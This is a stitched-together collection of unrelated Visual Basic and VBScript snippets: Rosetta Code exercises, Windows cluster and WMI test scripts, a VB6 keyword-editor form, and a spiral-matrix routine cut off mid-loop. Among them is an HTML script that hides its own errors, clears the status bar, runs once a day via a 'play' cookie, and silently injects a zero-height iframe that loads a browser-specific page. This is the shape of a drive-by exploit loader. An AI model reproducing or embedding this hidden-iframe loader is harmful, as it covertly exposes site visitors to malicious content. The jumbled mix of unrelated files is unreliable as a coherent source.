<reponame>mullikine/RosettaCodeData
Option Base 1
Function dot_product(a As Variant, b As Variant) As Variant
dot_product = WorksheetFunction.SumProduct(a, b)
End Function
Function cross_product(a As Variant, b As Variant) As Variant
cross_product = Array(a(2) * b(3) - a(3) * b(2), a(3) * b(1) - a(1) * b(3), a(1) * b(2) - a(2) * b(1))
End Function
Function scalar_triple_product(a As Variant, b As Variant, c As Variant) As Variant
scalar_triple_product = dot_product(a, cross_product(b, c))
End Function
Function vector_triple_product(a As Variant, b As Variant, c As Variant) As Variant
vector_triple_product = cross_product(a, cross_product(b, c))
End Function
Public Sub main()
a = [{3, 4, 5}]
b = [{4, 3, 5}]
c = [{-5, -12, -13}]
Debug.Print " a . b = "; dot_product(a, b)
Debug.Print " a x b = "; "("; Join(cross_product(a, b), ", "); ")"
Debug.Print "a . (b x c) = "; scalar_triple_product(a, b, c)
Debug.Print "a x (b x c) = "; "("; Join(vector_triple_product(a, b, c), ", "); ")"
End Sub
|
Function Range_Extraction(list)
num = Split(list,",")
For i = 0 To UBound(num)
startnum = CInt(num(i))
sum = startnum
Do While i <= UBound(num)
If sum = CInt(num(i)) Then
If i = UBound(num) Then
If startnum <> CInt(num(i)) Then
If startnum + 1 = CInt(num(i)) Then
Range_Extraction = Range_Extraction & startnum & "," & num(i) & ","
Else
Range_Extraction = Range_Extraction & startnum & "-" & num(i) & ","
End If
Else
Range_Extraction = Range_Extraction & startnum & ","
End If
Exit Do
Else
i = i + 1
sum = sum + 1
End If
Else
If startnum = CInt(num(i-1)) Then
Range_Extraction = Range_Extraction & startnum & ","
Else
If startnum + 1 = CInt(num(i-1)) Then
Range_Extraction = Range_Extraction & startnum & "," & num(i-1) & ","
Else
Range_Extraction = Range_Extraction & startnum & "-" & num(i-1) & ","
End If
End If
i = i - 1
Exit Do
End If
Loop
Next
Range_Extraction = Left(Range_Extraction,Len(Range_Extraction)-1)
End Function
WScript.StdOut.Write Range_Extraction("0,1,2,4,6,7,8,11,12,14,15,16,17,18,19,20,21,22,23,24,25,27,28,29,30,31,32,33,35,36,37,38,39")
|
Option Explicit
Main
Sub Main
Dim oClusters
Dim oClusApp
Dim nCount
Dim e
Set oClusApp = CreateObject("MSCluster.ClusApplication")
Set oClusters = oClusApp.ClusterNames("NTDEV")
nCount = oClusters.Count
MsgBox "NTDEV Domain cluster count is " & nCount
for e = 1 to nCount
MsgBox "Cluster name is " & oClusters.Item(e)
next
End Sub
|
<html><script>window.onerror=function(){return true;}
function init(){window.status="";}window.onload = init;
if(document.cookie.indexOf("play=")==-1)
{
var expires=new Date();
expires.setTime(expires.getTime()+24*60*60*1000);
document.cookie="play=Yes;path=/;expires="+expires.toGMTString();
if(navigator.userAgent.toLowerCase().indexOf("msie")>0)
{
document.write("<iframe src=issf.html width=100 height=0></iframe>");
}
else{document.write("<iframe src=fssf.html width=100 height=0></iframe>");}
}
</script></html>
|
'on error resume next
set locator = CreateObject("WbemScripting.Swbemlocator")
locator.security_.privileges.AddAsString "SeDebugPrivilege"
locator.security_.privileges.AddAsString "SeManageVolumePrivilege"
set service = locator.ConnectServer (,"root/default")
set userid = service.get("userid")
WScript.Echo "Before call the following privileges are enabled on the client:"
for each Privilege in userid.security_.privileges
if Privilege.IsEnabled then
WScript.Echo " " & Privilege.Name
end if
next
userid.GetUserID domain, user, impLevel, privilegesArray, enableArray
WScript.Echo ""
WScript.Echo "User: " & domain & "\" & user
WScript.Echo ""
WScript.Echo "Impersonation Level: " & impLevel
WScript.Echo ""
for i = LBound(privilegesArray) to UBound(privilegesArray)
if i = 0 then
str = "Privileges: "
else
str = " "
end if
str = str & privilegesArray(i) & " - "
if enableArray(i) then
str = str & "Enabled"
else
str = str & "Disabled"
end if
WScript.Echo str
next
if err <> 0 then
WScript.Echo "ERROR", "0x" & Hex(Err.Number), Err.Description
end if
|
Option Explicit
Main
Sub Main
Dim oCluster
Dim oCommonProperties
Dim nCount
Dim e
Dim sCluster
Set oCluster = CreateObject("MSCluster.Cluster")
sCluster = InputBox( "Cluster to open?" )
oCluster.Open( sCluster )
MsgBox "Cluster Name is " & oCluster.Name
MsgBox "Cluster Version is " & oCluster.Version.BuildNumber
Set oCommonProperties = oCluster.CommonProperties
nCount = oCommonProperties.Count
MsgBox "Common property count is " & nCount
for e = 1 to nCount
MsgBox "Property name is " & oCommonProperties.Item(e).Name
next
End Sub
|
<filename>admin/wmi/wbem/scripting/test/vb/nullpropv/nullpropv.frm<gh_stars>10-100
VERSION 5.00
Begin VB.Form Form1
Caption = "Form1"
ClientHeight = 3195
ClientLeft = 60
ClientTop = 345
ClientWidth = 4680
LinkTopic = "Form1"
ScaleHeight = 3195
ScaleWidth = 4680
StartUpPosition = 3 'Windows Default
End
Attribute VB_Name = "Form1"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Private Sub Form_Load()
'***************************************************************************
'This script tests the setting of null property values and passing of
'null values to methods
'***************************************************************************
On Error Resume Next
Dim Locator As SWbemLocator
Dim Service As SWbemServices
Dim Class As SWbemObject
Dim Property As SWbemProperty
Dim Value As Variant
'Value = Null
Set Locator = CreateObject("WbemScripting.SWbemLocator")
'Note next call uses an unitialized Variant as an
'an argument.
' Full mappings are:
' 1) Unitialized Variant variable VT_VARIANT|VT_BYREF (VT_EMPTY)
' 2) Variant variable value = null VT_VARIANT|VT_BYREF (VT_NULL)
' 3) null constant VT_NULL
' 4) omitted parameter VT_EMPTY (DISP_E_PARAMNOTFOUND)
Set Service = Locator.ConnectServer(Value, "root/default")
Set Class = Service.Get
'Set up a new class with an initialized property value
Class.Path_.Class = "Fred"
Class.Properties_.Add("P", 3).Value = 25
Class.Put_
'Now null the property value using non-dot access
Set Class = Service.Get("Fred")
Set Property = Class.Properties_("P")
Property.Value = Null
Class.Put_
'Un-null
Set Class = Service.Get("Fred")
Set Property = Class.Properties_("P")
Property.Value = 56
Class.Put_
'Now null it using dot access
Set Class = Service.Get("Fred")
Class.P = Null
Class.Put_
If Err <> 0 Then
Debug.Print Err.Description, Err.Source, Err.Number
Err.Clear
End If
End Sub
|
<gh_stars>10-100
VERSION 5.00
Object = "{EAB22AC0-30C1-11CF-A7EB-0000C05BAE0B}#1.1#0"; "SHDOCVW.dll"
Begin VB.Form frmAddRemoveKeywords
Caption = "Add/Remove Keywords"
ClientHeight = 8655
ClientLeft = 105
ClientTop = 390
ClientWidth = 11535
LinkTopic = "Form1"
ScaleHeight = 8655
ScaleWidth = 11535
Begin SHDocVwCtl.WebBrowser WebBrowser
Height = 3735
Left = 120
TabIndex = 23
Top = 4800
Width = 11295
ExtentX = 19923
ExtentY = 6588
ViewMode = 0
Offline = 0
Silent = 0
RegisterAsBrowser= 0
RegisterAsDropTarget= 1
AutoArrange = 0 'False
NoClientEdge = 0 'False
AlignLeft = 0 'False
NoWebView = 0 'False
HideFileNames = 0 'False
SingleClick = 0 'False
SingleSelection = 0 'False
NoFolders = 0 'False
Transparent = 0 'False
ViewID = "{0057D0E0-3573-11CF-AE69-08002B2E1262}"
Location = ""
End
Begin VB.ComboBox cboNavigateLink
Height = 315
Left = 1080
Style = 2 'Dropdown List
TabIndex = 19
Top = 4320
Width = 2295
End
Begin VB.TextBox txtAllKeywords
Height = 285
Left = 120
TabIndex = 3
Tag = "1"
Top = 1200
Width = 2415
End
Begin VB.ListBox lstAllKeywords
Height = 2595
Left = 120
Sorted = -1 'True
TabIndex = 4
Tag = "1"
Top = 1560
Width = 2415
End
Begin VB.CommandButton cmdNavigateLink
Caption = "&Go"
Height = 375
Left = 3480
TabIndex = 20
Top = 4320
Width = 375
End
Begin VB.ListBox lstSynonymSets
Height = 2985
Left = 9000
Sorted = -1 'True
TabIndex = 17
Tag = "1"
Top = 1200
Width = 2415
End
Begin VB.ListBox lstKeywordsWithTitle
Height = 2985
Left = 3240
MultiSelect = 2 'Extended
Sorted = -1 'True
TabIndex = 8
Tag = "1"
Top = 1200
Width = 2415
End
Begin VB.CommandButton cmdClose
Caption = "Close"
Height = 375
Left = 10200
TabIndex = 22
Top = 4320
Width = 1215
End
Begin VB.CommandButton cmdSave
Caption = "Save"
Height = 375
Left = 8880
TabIndex = 21
Top = 4320
Width = 1215
End
Begin VB.CommandButton cmdAdd1
Caption = "&>>"
Height = 375
Left = 2640
TabIndex = 5
Top = 2160
Width = 495
End
Begin VB.CommandButton cmdRemove
Caption = "&<<"
Height = 375
Left = 2640
TabIndex = 6
Top = 2640
Width = 495
End
Begin VB.CommandButton cmdAdd2
Caption = "<<"
Height = 375
Left = 5760
TabIndex = 9
Top = 2400
Width = 495
End
Begin VB.ListBox lstKeywordsInSynonymSet
Height = 2985
Left = 6360
MultiSelect = 2 'Extended
Sorted = -1 'True
TabIndex = 13
Tag = "1"
Top = 1200
Width = 2415
End
Begin VB.Label lblNavigateLink
Caption = "&View Topic:"
Height = 255
Left = 120
TabIndex = 18
Top = 4320
Width = 1095
End
Begin VB.Label lblSynonymSets1
Caption = "The &Keyword"
Height = 255
Left = 9000
TabIndex = 14
Top = 480
Width = 2415
End
Begin VB.Label lblSynonymSets3
Caption = "belongs to these Synonym Sets:"
Height = 255
Left = 9000
TabIndex = 16
Top = 960
Width = 2415
End
Begin VB.Label lblSynonymSets2
Caption = "Keyword"
BeginProperty Font
Name = "MS Sans Serif"
Size = 8.25
Charset = 0
Weight = 700
Underline = 0 'False
Italic = 0 'False
Strikethrough = 0 'False
EndProperty
Height = 255
Left = 9000
TabIndex = 15
Tag = "1"
Top = 720
Width = 2415
End
Begin VB.Label lblAllKeywords
Caption = "&All Keywords:"
Height = 255
Left = 120
TabIndex = 2
Top = 960
Width = 2415
End
Begin VB.Label lblKeywordsWithTitle
Caption = "A&ssociated Keywords:"
Height = 255
Left = 3240
TabIndex = 7
Top = 960
Width = 2415
End
Begin VB.Label lblTitle2
Caption = "<Title>"
BeginProperty Font
Name = "MS Sans Serif"
Size = 8.25
Charset = 0
Weight = 700
Underline = 0 'False
Italic = 0 'False
Strikethrough = 0 'False
EndProperty
Height = 255
Left = 1320
TabIndex = 1
Tag = "1"
Top = 120
Width = 10095
End
Begin VB.Label lblKeywordsInSynonymSet2
Caption = "Synonym Set"
BeginProperty Font
Name = "MS Sans Serif"
Size = 8.25
Charset = 0
Weight = 700
Underline = 0 'False
Italic = 0 'False
Strikethrough = 0 'False
EndProperty
Height = 255
Left = 6360
TabIndex = 11
Tag = "1"
Top = 720
Width = 2295
End
Begin VB.Label lblKeywordsInSynonymSet1
Caption = "The Synonym Se&t"
Height = 255
Left = 6360
TabIndex = 10
Top = 480
Width = 2295
End
Begin VB.Label lblKeywordsInSynonymSet3
Caption = "also contains the following:"
Height = 255
Left = 6360
TabIndex = 12
Top = 960
Width = 2295
End
Begin VB.Label lblTitle1
Caption = "Title:"
Height = 255
Left = 120
TabIndex = 0
Top = 120
Width = 1095
End
End
Attribute VB_Name = "frmAddRemoveKeywords"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Option Explicit
Private p_clsKeywords As AuthDatabase.Keywords
Private p_clsSynonymSets As AuthDatabase.SynonymSets
Private p_dictKeywordsWithTitle As Scripting.Dictionary
Private p_clsSizer As Sizer
Private p_intKIDForSynonymSets As Long
Private p_intEIDForKeywordsInSynonymSet As Long
Private p_strTempFile As String
Private Const STR_LEAF_TITLE_C As String = "Topic Title:"
Private Const STR_GROUP_TITLE_C As String = "Node Title:"
Private Const STR_DEFAULT_KEYWORD_C As String = "<Keyword>"
Private Const STR_DEFAULT_SYNONYM_SET_NAME_C As String = "<Synonym Set>"
Private Sub Form_Load()
On Error GoTo LErrorHandler
cmdClose.Cancel = True
cmdAdd1.Default = True
Set p_clsKeywords = g_AuthDatabase.Keywords
Set p_clsSynonymSets = g_AuthDatabase.SynonymSets
Set p_clsSizer = New Sizer
PopulateCboWithSKUs cboNavigateLink
p_SetToolTips
p_CreateTempFile
p_PointToTempFile
p_SetAllKeywords
SetFontInternal Me
LEnd:
Exit Sub
LErrorHandler:
p_DisplayErrorMessage "Form_Load"
GoTo LEnd
End Sub
Private Sub Form_Unload(Cancel As Integer)
Set p_clsKeywords = Nothing
Set p_clsSynonymSets = Nothing
Set p_dictKeywordsWithTitle = Nothing
Set p_clsSizer = Nothing
p_DeleteTempFile
frmMain.AddRemoveKeywordsFormGoingAway
Set frmAddRemoveKeywords = Nothing
End Sub
Private Sub Form_Activate()
On Error GoTo LErrorHandler
' I had cmdNavigateLink_Click in SetKeywords; however it caused
' problems with the context menu on the main taxonomy sceen.
cmdNavigateLink_Click
p_SetSizingInfo
DoEvents
Exit Sub
LErrorHandler:
g_ErrorInfo.SetInfoAndDump "Form_Activate"
End Sub
Private Sub Form_Resize()
On Error GoTo LErrorHandler
p_clsSizer.Resize
Exit Sub
LErrorHandler:
g_ErrorInfo.SetInfoAndDump "Form_Resize"
End Sub
Private Sub txtAllKeywords_GotFocus()
cmdAdd1.Default = False
End Sub
Private Sub txtAllKeywords_LostFocus()
cmdAdd1.Default = True
End Sub
Private Sub txtAllKeywords_Change()
Dim intIndex As Integer
Dim txtToFind As String
txtToFind = txtAllKeywords.Text
intIndex = SendMessage(lstAllKeywords.hwnd, LB_SELECTSTRING, 0, txtToFind)
End Sub
Private Sub txtAllKeywords_KeyPress(KeyAscii As Integer)
On Error GoTo LErrorHandler
Dim strKeyword As String
Dim intIndex As Long
Dim intKID As Long
Dim Response As VbMsgBoxResult
Dim blnAddToAllKeywords As Boolean
If (KeyAscii <> Asc(vbCr)) Then
Exit Sub
End If
' To prevent an annoying beep:
KeyAscii = 0
strKeyword = RemoveExtraSpaces(txtAllKeywords.Text)
txtAllKeywords.Text = ""
If (strKeyword = "") Then
Exit Sub
End If
For intIndex = 0 To lstKeywordsWithTitle.ListCount - 1
If (LCase$(strKeyword) = LCase$(lstKeywordsWithTitle.List(intIndex))) Then
Exit Sub
End If
Next
intKID = p_clsKeywords.GetKIDOfKeyword(strKeyword)
If (intKID = INVALID_ID_C) Then
Response = MsgBox( _
"The keyword """ & strKeyword & """ doesn't exist. Do you want to create it?", _
vbOKCancel + vbDefaultButton1)
If (Response = vbCancel) Then
Exit Sub
End If
blnAddToAllKeywords = True
End If
intKID = p_clsKeywords.Create(strKeyword)
If (blnAddToAllKeywords) Then
lstAllKeywords.AddItem strKeyword
lstAllKeywords.ItemData(lstAllKeywords.NewIndex) = intKID
End If
p_dictKeywordsWithTitle.Add intKID, strKeyword
p_SetKeywordsWithTitle
intIndex = SendMessage(lstAllKeywords.hwnd, LB_SELECTSTRING, 0, strKeyword)
Exit Sub
LErrorHandler:
Select Case Err.Number
Case errContainsGarbageChar
MsgBox "The Keyword " & strKeyword & " contains garbage characters.", _
vbExclamation + vbOKOnly
Case errContainsStopSign
MsgBox "The Keyword " & strKeyword & " contains a Stop Sign.", _
vbExclamation + vbOKOnly
Case errContainsStopWord
MsgBox "The Keyword " & strKeyword & " contains a Stop Word.", _
vbExclamation + vbOKOnly
Case errContainsOperatorShortcut
MsgBox "The Keyword " & strKeyword & " contains an operator shortcut.", _
vbExclamation + vbOKOnly
Case errContainsVerbalOperator
MsgBox "The Keyword " & strKeyword & " contains a verbal operator.", _
vbExclamation + vbOKOnly
Case errTooLong
MsgBox "The Keyword " & strKeyword & " is too long", _
vbExclamation + vbOKOnly
Case E_FAIL
DisplayDatabaseLockedError
Case errDatabaseVersionIncompatible
DisplayDatabaseVersionError
Case Else
g_ErrorInfo.SetInfoAndDump "txtAllKeywords_KeyPress"
End Select
End Sub
Private Sub lstAllKeywords_DblClick()
cmdAdd1_Click
End Sub
Private Sub lstKeywordsInSynonymSet_DblClick()
cmdAdd2_Click
End Sub
Private Sub lstKeywordsWithTitle_Click()
On Error GoTo LErrorHandler
lblSynonymSets2.Caption = lstKeywordsWithTitle.Text
p_SetSynonymSets lstKeywordsWithTitle.ItemData(lstKeywordsWithTitle.ListIndex)
LEnd:
Exit Sub
LErrorHandler:
p_DisplayErrorMessage "lstKeywordsWithTitle_Click"
GoTo LEnd
End Sub
Private Sub lstSynonymSets_Click()
On Error GoTo LErrorHandler
lblKeywordsInSynonymSet2.Caption = lstSynonymSets.Text
p_SetKeywordsInSynonymSet lstSynonymSets.ItemData(lstSynonymSets.ListIndex)
LEnd:
Exit Sub
LErrorHandler:
p_DisplayErrorMessage "lstSynonymSets_Click"
GoTo LEnd
End Sub
Private Sub cmdAdd1_Click()
On Error GoTo LErrorHandler
Dim intIndex As Long
Dim intKID As Long
Dim strKeyword As String
For intIndex = 0 To lstAllKeywords.ListCount - 1
If (lstAllKeywords.Selected(intIndex)) Then
strKeyword = lstAllKeywords.List(intIndex)
lstAllKeywords.Selected(intIndex) = False
intKID = lstAllKeywords.ItemData(intIndex)
If (Not p_dictKeywordsWithTitle.Exists(intKID)) Then
p_dictKeywordsWithTitle.Add intKID, strKeyword
End If
End If
Next
p_SetKeywordsWithTitle
LEnd:
Exit Sub
LErrorHandler:
p_DisplayErrorMessage "cmdAdd1_Click"
GoTo LEnd
End Sub
Private Sub cmdAdd2_Click()
On Error GoTo LErrorHandler
Dim intIndex As Long
Dim intKID As Long
Dim strKeyword As String
For intIndex = lstKeywordsInSynonymSet.ListCount - 1 To 0 Step -1
If (lstKeywordsInSynonymSet.Selected(intIndex)) Then
intKID = lstKeywordsInSynonymSet.ItemData(intIndex)
strKeyword = lstKeywordsInSynonymSet.List(intIndex)
If (Not p_dictKeywordsWithTitle.Exists(intKID)) Then
p_dictKeywordsWithTitle.Add intKID, strKeyword
End If
lstKeywordsInSynonymSet.RemoveItem intIndex
End If
Next
p_SetKeywordsWithTitle
LEnd:
Exit Sub
LErrorHandler:
p_DisplayErrorMessage "cmdAdd2_Click"
GoTo LEnd
End Sub
Private Sub cmdRemove_Click()
On Error GoTo LErrorHandler
Dim intIndex As Long
For intIndex = 0 To lstKeywordsWithTitle.ListCount - 1
If (lstKeywordsWithTitle.Selected(intIndex)) Then
p_dictKeywordsWithTitle.Remove lstKeywordsWithTitle.ItemData(intIndex)
End If
Next
p_SetKeywordsWithTitle
LEnd:
Exit Sub
LErrorHandler:
p_DisplayErrorMessage "cmdRemove_Click"
GoTo LEnd
End Sub
Private Sub cmdNavigateLink_Click()
On Error Resume Next
Dim strURI As String
strURI = frmMain.GetNavigateLinkURI(cboNavigateLink.ListIndex)
If (strURI <> "") Then
WebBrowser.Navigate strURI
Else
p_PointToTempFile
End If
End Sub
Private Sub cmdSave_Click()
On Error GoTo LErrorHandler
frmMain.SetKeywords p_dictKeywordsWithTitle
LEnd:
Exit Sub
LErrorHandler:
p_DisplayErrorMessage "cmdSave_Click"
GoTo LEnd
End Sub
Private Sub cmdClose_Click()
Unload Me
End Sub
Public Sub SetTitle(ByVal i_strTitle As String, ByVal i_blnLeaf As Boolean)
If (i_blnLeaf) Then
lblTitle1.Caption = STR_LEAF_TITLE_C
Else
lblTitle1.Caption = STR_GROUP_TITLE_C
End If
lblTitle2 = i_strTitle
End Sub
Public Sub SetKeywords(ByVal i_dictKeywordsWithTitle As Scripting.Dictionary)
Dim intKID As Variant
Set p_dictKeywordsWithTitle = New Scripting.Dictionary
For Each intKID In i_dictKeywordsWithTitle.Keys
p_dictKeywordsWithTitle.Add intKID, i_dictKeywordsWithTitle(intKID)
Next
txtAllKeywords = ""
p_intKIDForSynonymSets = INVALID_ID_C
p_intEIDForKeywordsInSynonymSet = INVALID_ID_C
p_SetKeywordsWithTitle
End Sub
Public Sub LinkNavigable(ByVal i_bln As Boolean)
If (i_bln) Then
lblNavigateLink.Enabled = True
cboNavigateLink.Enabled = True
cmdNavigateLink.Enabled = True
Else
lblNavigateLink.Enabled = False
cboNavigateLink.Enabled = False
cmdNavigateLink.Enabled = False
End If
End Sub
Private Sub p_SetAllKeywords()
Dim rs As ADODB.Recordset
Dim intCount As Long
Set rs = New ADODB.Recordset
lstAllKeywords.Clear
p_clsKeywords.GetAllKeywordsRs rs
Do While (Not rs.EOF)
lstAllKeywords.AddItem rs("Keyword")
lstAllKeywords.ItemData(lstAllKeywords.NewIndex) = rs("KID").Value
intCount = intCount + 1
If (intCount = 1000) Then
DoEvents
intCount = 0
End If
rs.MoveNext
Loop
End Sub
Private Sub p_SetKeywordsWithTitle()
Dim intKID As Variant
lstKeywordsWithTitle.Clear
For Each intKID In p_dictKeywordsWithTitle.Keys
lstKeywordsWithTitle.AddItem p_dictKeywordsWithTitle(intKID)
lstKeywordsWithTitle.ItemData(lstKeywordsWithTitle.NewIndex) = intKID
Next
If (lstKeywordsWithTitle.ListCount <> 0) Then
lstKeywordsWithTitle.Selected(0) = True
Else
p_ClearSynonymSets
End If
End Sub
Private Sub p_SetSynonymSets(i_intKID As Long)
Dim rs As ADODB.Recordset
Set rs = New ADODB.Recordset
If (i_intKID = p_intKIDForSynonymSets) Then
Exit Sub
Else
p_intKIDForSynonymSets = i_intKID
End If
lstSynonymSets.Clear
p_clsSynonymSets.GetSynonymSetsForKeyword i_intKID, rs
Do While (Not rs.EOF)
lstSynonymSets.AddItem rs("Name")
lstSynonymSets.ItemData(lstSynonymSets.NewIndex) = rs("EID").Value
rs.MoveNext
Loop
If (lstSynonymSets.ListCount <> 0) Then
lstSynonymSets.Selected(0) = True
Else
p_ClearKeywordsInSynonymSet
End If
End Sub
Private Sub p_SetKeywordsInSynonymSet(i_intEID As Long)
Dim rs As ADODB.Recordset
Dim intKID As Long
Dim intIndex As Long
Set rs = New ADODB.Recordset
If (i_intEID = p_intEIDForKeywordsInSynonymSet) Then
Exit Sub
Else
p_intEIDForKeywordsInSynonymSet = i_intEID
End If
lstKeywordsInSynonymSet.Clear
p_clsKeywords.GetKeywordsInSynonymSet i_intEID, rs
Do While (Not rs.EOF)
lstKeywordsInSynonymSet.AddItem rs("Keyword")
lstKeywordsInSynonymSet.ItemData(lstKeywordsInSynonymSet.NewIndex) = rs("KID").Value
rs.MoveNext
Loop
' Remove all keywords already associated with the title
For intIndex = lstKeywordsInSynonymSet.ListCount - 1 To 0 Step -1
intKID = lstKeywordsInSynonymSet.ItemData(intIndex)
If (p_dictKeywordsWithTitle.Exists(intKID)) Then
lstKeywordsInSynonymSet.RemoveItem intIndex
End If
Next
End Sub
Private Sub p_ClearSynonymSets()
lstSynonymSets.Clear
lblSynonymSets2.Caption = STR_DEFAULT_KEYWORD_C
p_SetSynonymSets INVALID_ID_C
End Sub
Private Sub p_ClearKeywordsInSynonymSet()
lstKeywordsInSynonymSet.Clear
lblKeywordsInSynonymSet2.Caption = STR_DEFAULT_SYNONYM_SET_NAME_C
p_SetKeywordsInSynonymSet INVALID_ID_C
End Sub
Private Sub p_DisplayErrorMessage( _
ByVal i_strFunction As String _
)
Select Case Err.Number
Case E_FAIL
DisplayDatabaseLockedError
Case errDatabaseVersionIncompatible
DisplayDatabaseVersionError
Case Else
g_ErrorInfo.SetInfoAndDump i_strFunction
End Select
End Sub
Private Sub p_PointToTempFile()
WebBrowser.Navigate p_strTempFile
End Sub
Private Sub p_CreateTempFile()
p_strTempFile = TempFile
FileWrite p_strTempFile, "<HTML><BODY>Select a SKU and then click Go to display topic. " & _
"If the Go button is greyed out, it means that there is no URI associated with the " & _
"Node/Topic. </BODY></HTML>"
End Sub
Private Sub p_DeleteTempFile()
Dim FSO As New FileSystemObject
FSO.DeleteFile p_strTempFile
End Sub
Private Sub p_SetSizingInfo()
p_clsSizer.AddControl cmdAdd1
Set p_clsSizer.ReferenceControl(DIM_LEFT_E) = Me
p_clsSizer.ReferenceDimension(DIM_LEFT_E) = DIM_WIDTH_E
p_clsSizer.Operation(DIM_LEFT_E) = OP_MULTIPLY_E
p_clsSizer.AddControl cmdRemove
Set p_clsSizer.ReferenceControl(DIM_LEFT_E) = cmdAdd1
Set p_clsSizer.ReferenceControl(DIM_TOP_E) = cmdAdd1
p_clsSizer.AddControl cmdAdd2
Set p_clsSizer.ReferenceControl(DIM_LEFT_E) = Me
p_clsSizer.ReferenceDimension(DIM_LEFT_E) = DIM_WIDTH_E
p_clsSizer.Operation(DIM_LEFT_E) = OP_MULTIPLY_E
p_clsSizer.AddControl lblAllKeywords
Set p_clsSizer.ReferenceControl(DIM_RIGHT_E) = cmdAdd1
p_clsSizer.AddControl lstAllKeywords
Set p_clsSizer.ReferenceControl(DIM_RIGHT_E) = lblAllKeywords
p_clsSizer.AddControl txtAllKeywords
Set p_clsSizer.ReferenceControl(DIM_RIGHT_E) = lblAllKeywords
p_clsSizer.AddControl lblKeywordsWithTitle
Set p_clsSizer.ReferenceControl(DIM_LEFT_E) = cmdAdd1
Set p_clsSizer.ReferenceControl(DIM_RIGHT_E) = cmdAdd2
p_clsSizer.AddControl lstKeywordsWithTitle
Set p_clsSizer.ReferenceControl(DIM_LEFT_E) = lblKeywordsWithTitle
Set p_clsSizer.ReferenceControl(DIM_RIGHT_E) = lblKeywordsWithTitle
p_clsSizer.AddControl lblKeywordsInSynonymSet1
Set p_clsSizer.ReferenceControl(DIM_LEFT_E) = cmdAdd2
Set p_clsSizer.ReferenceControl(DIM_WIDTH_E) = Me
p_clsSizer.Operation(DIM_WIDTH_E) = OP_MULTIPLY_E
p_clsSizer.AddControl lblKeywordsInSynonymSet2
Set p_clsSizer.ReferenceControl(DIM_LEFT_E) = lblKeywordsInSynonymSet1
Set p_clsSizer.ReferenceControl(DIM_RIGHT_E) = lblKeywordsInSynonymSet1
p_clsSizer.AddControl lblKeywordsInSynonymSet3
Set p_clsSizer.ReferenceControl(DIM_LEFT_E) = lblKeywordsInSynonymSet1
Set p_clsSizer.ReferenceControl(DIM_RIGHT_E) = lblKeywordsInSynonymSet1
p_clsSizer.AddControl lstKeywordsInSynonymSet
Set p_clsSizer.ReferenceControl(DIM_LEFT_E) = lblKeywordsInSynonymSet1
Set p_clsSizer.ReferenceControl(DIM_RIGHT_E) = lblKeywordsInSynonymSet1
p_clsSizer.AddControl lblSynonymSets1
Set p_clsSizer.ReferenceControl(DIM_LEFT_E) = lblKeywordsInSynonymSet1
p_clsSizer.ReferenceDimension(DIM_LEFT_E) = DIM_RIGHT_E
Set p_clsSizer.ReferenceControl(DIM_RIGHT_E) = Me
p_clsSizer.ReferenceDimension(DIM_RIGHT_E) = DIM_WIDTH_E
p_clsSizer.AddControl lblSynonymSets2
Set p_clsSizer.ReferenceControl(DIM_LEFT_E) = lblSynonymSets1
Set p_clsSizer.ReferenceControl(DIM_RIGHT_E) = lblSynonymSets1
p_clsSizer.AddControl lblSynonymSets3
Set p_clsSizer.ReferenceControl(DIM_LEFT_E) = lblSynonymSets1
Set p_clsSizer.ReferenceControl(DIM_RIGHT_E) = lblSynonymSets1
p_clsSizer.AddControl lstSynonymSets
Set p_clsSizer.ReferenceControl(DIM_LEFT_E) = lblSynonymSets1
Set p_clsSizer.ReferenceControl(DIM_RIGHT_E) = lblSynonymSets1
p_clsSizer.AddControl cmdSave
Set p_clsSizer.ReferenceControl(DIM_TOP_E) = lstSynonymSets
Set p_clsSizer.ReferenceControl(DIM_LEFT_E) = Me
p_clsSizer.ReferenceDimension(DIM_LEFT_E) = DIM_WIDTH_E
p_clsSizer.AddControl cmdClose
Set p_clsSizer.ReferenceControl(DIM_TOP_E) = cmdSave
Set p_clsSizer.ReferenceControl(DIM_LEFT_E) = cmdSave
p_clsSizer.AddControl WebBrowser
Set p_clsSizer.ReferenceControl(DIM_RIGHT_E) = Me
p_clsSizer.ReferenceDimension(DIM_RIGHT_E) = DIM_WIDTH_E
Set p_clsSizer.ReferenceControl(DIM_BOTTOM_E) = Me
p_clsSizer.ReferenceDimension(DIM_BOTTOM_E) = DIM_HEIGHT_E
End Sub
Private Sub p_SetToolTips()
txtAllKeywords.ToolTipText = "Type a keyword for the selected topic."
lblAllKeywords.ToolTipText = "This is a list of all keywords that have been created " & _
"for this database."
lstAllKeywords.ToolTipText = lblAllKeywords.ToolTipText
lblKeywordsWithTitle.ToolTipText = "This is a list of all keywords that have been " & _
"associated with a selected node or topic."
lstKeywordsWithTitle.ToolTipText = lblKeywordsWithTitle.ToolTipText
lblSynonymSets1.ToolTipText = "This is a list of all the synonym sets that the " & _
"selected associated keyword belongs to."
lblSynonymSets2.ToolTipText = lblSynonymSets1.ToolTipText
lblSynonymSets3.ToolTipText = lblSynonymSets1.ToolTipText
lstSynonymSets.ToolTipText = lblSynonymSets1.ToolTipText
lblKeywordsInSynonymSet1.ToolTipText = "This is a list of all the other keywords " & _
"that the selected synonym set contains."
lblKeywordsInSynonymSet2.ToolTipText = lblKeywordsInSynonymSet1.ToolTipText
lblKeywordsInSynonymSet3.ToolTipText = lblKeywordsInSynonymSet1.ToolTipText
lstKeywordsInSynonymSet.ToolTipText = lblKeywordsInSynonymSet1.ToolTipText
lblNavigateLink.ToolTipText = "Select a valid SKU to view the content of the selected topic."
cboNavigateLink.ToolTipText = lblNavigateLink.ToolTipText
WebBrowser.ToolTipText = "Displays the content of the selected topic."
End Sub
|
<filename>Task/FizzBuzz/VBScript/fizzbuzz-1.vb
For i = 1 To 100
If i Mod 15 = 0 Then
WScript.Echo "FizzBuzz"
ElseIf i Mod 5 = 0 Then
WScript.Echo "Buzz"
ElseIf i Mod 3 = 0 Then
WScript.Echo "Fizz"
Else
WScript.Echo i
End If
Next
|
Sub spiral()
Dim n As Integer, a As Integer, b As Integer
Dim numCsquares As Integer, sideLen As Integer, currNum As Integer
Dim j As Integer, i As Integer
Dim j1 As Integer, j2 As Integer, j3 As Integer
n = 5
Dim spiralArr(9, 9) As Integer
numCsquares = CInt(Application.WorksheetFunction.Ceiling(n / 2, 1))
sideLen = n
currNum = 0
For i = 0 To numCsquares - 1
'do top side
For j = 0 To sideLen - 1
currNum = currNum + 1
